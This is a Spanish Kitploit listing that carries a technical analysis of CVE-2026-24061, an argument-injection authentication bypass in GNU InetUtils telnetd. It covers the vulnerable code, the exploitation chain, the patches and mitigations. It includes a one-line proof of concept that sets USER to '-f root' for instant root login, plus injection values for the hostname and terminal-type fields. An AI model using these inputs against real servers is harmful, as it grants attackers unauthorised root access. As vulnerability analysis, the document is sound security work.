Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24061 — Análisis técnico profundo y escáner para CVE-2026-24061, una omisión crítica de autenticación en GNU InetUtils telnetd, incluyendo cadena de explotación, PoC y detalles del parche. | Kitploit
Herramientas/GitHubGitHub/buzz075/cve-2026-24061
Análisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónAutenticación
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Análisis técnico profundo y escáner para CVE-2026-24061, una omisión crítica de autenticación en GNU InetUtils telnetd, incluyendo cadena de explotación, PoC y detalles del parche.

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-24061: Omisión de Autenticación en telnetd de GNU InetUtils - Análisis Técnico Detallado

Resumen Ejecutivo

CVE-2026-24061 es una vulnerabilidad crítica (CVSS 9.8) de omisión de autenticación remota en telnetd de GNU InetUtils que permite a atacantes no autenticados obtener acceso root instantáneo. La vulnerabilidad se origina en una sanitización inadecuada de la variable de entorno USER, que se pasa directamente a /usr/bin/login como argumento de línea de comandos. Al establecer USER=-f root, un atacante activa la bandera -f de login, que omite la autenticación por completo.

Versiones Afectadas: GNU InetUtils 1.9.3 hasta 2.7 Tipo de Vulnerabilidad: CWE-88 (Inyección de Argumentos) Fecha de Descubrimiento: 20 de enero de 2026 Descubridor: Kyu Neushwaistein (alias Carlos Cortes Alvarez)


Parte 1: Análisis Técnico Detallado

El Flujo de Código Vulnerable

1. Plantilla de Invocación de Login (telnetd/telnetd.c, líneas ~49-63)

La vulnerabilidad comienza con una cadena de plantilla de comando que define cómo telnetd invoca /usr/bin/login:

root@kitploit:~
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Observación Clave: En sistemas no Solaris, la plantilla utiliza:

  • %?u{-f %u}{%U} - Esta es una expresión condicional que significa:
    • Si user_name está establecido (%u), usar -f %u (autologin autenticado)
    • De lo contrario, usar %U (la variable de entorno USER como respaldo)

El problema crítico: %U se expande a la variable de entorno USER cruda y sin sanitizar.

2. Función de Expansión de Variables (telnetd/utility.c, _var_short_name())

La cadena de plantilla se procesa mediante expand_line(), que llama a _var_short_name() para expandir los marcadores de posición. Aquí está el código vulnerable:

root@kitploit:~
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENCIALMENTE VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENCIALMENTE VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // ¡VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

El Error Crítico (caso 'U'): La variable de entorno USER se obtiene mediante getenv() y se pasa sin ninguna sanitización. Cuando un atacante establece USER=-f root, esto se convierte en parte de la línea de comandos de login.

3. Función de Inicio de Login (telnetd/pty.c, start_login())

La cadena de invocación de login expandida se ejecuta en start_login():

root@kitploit:~
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

La Cadena de Explotación

  1. El atacante se conecta a telnetd (puerto 23)

  2. Se produce la negociación de opciones Telnet:

    • El servidor envía IAC DO NEW_ENVIRON
    • El cliente responde con IAC WILL NEW_ENVIRON
    • El servidor envía IAC SB NEW_ENVIRON SEND (solicitando entorno)
    • El atacante envía: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. El servidor procesa la variable USER:

    • getenv("USER") devuelve -f root
    • La plantilla %U se expande a -f root
    • Comando final: /usr/bin/login -p -h <hostname> -f root
  4. Login interpreta -f root:

    • La bandera -f significa "omitir autenticación, el usuario está preautenticado"
    • root es el nombre de usuario con el que iniciar sesión
    • Resultado: Shell root instantáneo sin ninguna solicitud de contraseña

Prueba de Concepto

root@kitploit:~
# En la máquina del atacante:
USER='-f root' telnet -a <ip_objetivo>

La bandera -a habilita el modo de inicio de sesión automático, que envía la variable de entorno USER al servidor.


Parte 2: Análisis de Otras Variables Potencialmente Vulnerables

El aviso de seguridad señala explícitamente: "Por lo tanto, existe potencial para vulnerabilidades similares en otras variables." Analicemos cada variable en _var_short_name():

Tabla de Análisis de Variables

VarNombreFuente¿Controlable por el Usuario?¿Sanitizada?Superficie de Ataque
%UVariable de entorno USERgetenv("USER")SÍ (mediante NEW_ENVIRON)NOCRÍTICA - CVE-2026-24061
%hremote_hostnameBúsqueda DNS/PTRParcial (registro PTR)NOALTA
%TterminaltypeOpción TERMINAL-TYPESÍNOMEDIA
%uuser_nameNegociación de protocoloSÍNOMEDIA (requiere autenticación)
%llocal_hostnameConfiguración del sistemaNON/ABAJA
%Lline (TTY)Asignado por el sistemaNON/ABAJA
%tnombre corto de TTYAsignado por el sistemaNON/ABAJA
%dfecha/horaReloj del sistemaNON/ANINGUNA
%aestado de autenticaciónEstado internoNON/ANINGUNA

Análisis Detallado de Variables Potencialmente Vulnerables

1. %h - Nombre de Host Remoto (RIESGO ALTO)

Fuente: Se completa en telnetd_setup() desde telnetd.c mediante getnameinfo() o gethostbyaddr().

El Problema: Si un atacante controla su registro PTR (DNS inverso), podría potencialmente inyectar:

root@kitploit:~
foo -f root

Como su nombre de host, que se convertiría en parte del argumento -h:

root@kitploit:~
/usr/bin/login -p -h "foo -f root" ...

Dificultad de Explotación:

  • Requiere control del DNS inverso
  • Algunas implementaciones de login pueden citar o validar el nombre de host
  • Más complejo que la inyección de USER

Escenario del Mundo Real: Un atacante con control del registro PTR de su IP (común en proveedores de VPS) podría establecer su DNS inverso a un valor malicioso.

2. %T - Tipo de Terminal (RIESGO MEDIO)

Fuente: Se recibe mediante la subnegociación TERMINAL-TYPE de Telnet, almacenada en la variable terminaltype.

El Problema: La cadena del tipo de terminal está controlada por el atacante y no está sanitizada:

root@kitploit:~
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Uso en Plantillas:

  • SOLARIS10: %?T{-t %T} - Se usa con la bandera -t
  • SOLARIS: %?T{%T} - Se inserta directamente

Ataque Potencial:

root@kitploit:~
TERMINAL-TYPE: xterm -f root

Sin embargo, la explotación depende de:

  • Que la plantilla use %T (actualmente solo Solaris)
  • Cómo maneja login el argumento -t

3. %u - Nombre de Usuario Autenticado (RIESGO MEDIO)

Fuente: Se establece durante la negociación de autenticación.

El Problema: Se usa en el patrón -f %u:

root@kitploit:~
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

Si un atacante pudiera manipular user_name para incluir metacaracteres de shell o argumentos adicionales, podría lograr una escalada. Sin embargo, esta variable normalmente solo se establece después de alguna validación de autenticación.

Por Qué Otras Variables Son de Menor Riesgo

  • %l, %L, %t: Se derivan de valores controlados por el sistema (nombre de host local, nombres de dispositivos TTY) que los atacantes no pueden influenciar remotamente.

  • %d: Se genera a partir del reloj del sistema - sin vector de inyección.

  • %a: Variable interna de estado de autenticación - devuelve literalmente "ok" o NULL.


Parte 3: Patrones de Errores Similares a Buscar

Basado en esta vulnerabilidad, aquí hay patrones para buscar en el código base:

Patrón 1: Uso de Variables de Entorno Sin Sanitizar

root@kitploit:~
// PELIGROSO: Uso directo de variables de entorno
getenv("VARIABLE")

Archivos a verificar:

  • telnetd/utility.c - Otras funciones de expansión
  • telnetd/telnetd.c - Manejo de entorno
  • rlogind/, rshd/ - Servicios similares

Patrón 2: Expansión de Plantillas Sin Validación

root@kitploit:~
// PELIGROSO: Datos de usuario en plantillas de comandos
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);

Patrón 3: Datos Derivados de DNS en Comandos

root@kitploit:~
// POTENCIALMENTE PELIGROSO: Los datos DNS pueden estar controlados por el atacante
getnameinfo(...);  // Búsquedas PTR
gethostbyaddr(...);
// Luego usar el resultado en la construcción de comandos

Áreas que Requieren Investigación Adicional

  1. Daemon ftpd: Verificar cómo se maneja la entrada del usuario en la autenticación y el procesamiento de comandos

  2. Daemons rshd/rlogind: Estos usan patrones de autenticación similares y pueden tener problemas comparables con el manejo de nombres de host o entorno

  3. Análisis de configuración de inetd: Puede procesar entrada no confiable al configurar servicios

  4. Puntos de integración Kerberos: Al procesar nombres de principal o tokens de autenticación


Parte 4: La Corrección

Parche 1: Sanitizar Guiones Iniciales (fd702c02)

El primer parche agrega sanitización básica:

root@kitploit:~
case 'U':
  {
    char *u = getenv("USER");
    return (u && *u != '-') ? xstrdup(u) : xstrdup("");
  }

Esto bloquea valores que comienzan con -, lo que previene la inyección de banderas.

Parche 2: Función de Sanitización Generalizada (ccba9f74)

El segundo parche introduce una función sanitize() reutilizable para todas las entradas controladas por el usuario:

root@kitploit:~
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
  if (str == NULL || *str == '-')
    return xstrdup ("");
  return xstrdup (str);
}

Aplicada a todas las variables potencialmente peligrosas:

  • %U (USER)
  • %h (remote_hostname)
  • %T (terminaltype)

Conclusiones

  1. CVE-2026-24061 es una vulnerabilidad de inyección de argumentos de libro de texto que pasó desapercibida durante 11 años debido a:

    • Suposiciones de protocolo heredadas
    • Flujo de código complejo (plantilla → expansión → ejecución)
    • Revisión de seguridad insuficiente de variables de entorno "confiables"
  2. Pueden existir vulnerabilidades similares en las variables %h (nombre de host) y %T (tipo de terminal), aunque la explotación es más compleja.

  3. Implicaciones más amplias: Cualquier código que construya comandos de shell o argumentos de programas a partir de datos derivados de la red debe auditarse para detectar vulnerabilidades de inyección similares.

  4. Mitigaciones recomendadas:

    • Actualizar a GNU InetUtils 2.8+
    • Deshabilitar telnetd por completo (usar SSH)
    • Si telnetd es necesario, restringirlo a redes confiables
    • Usar un programa de login personalizado que ignore la bandera -f
Descargar herramienta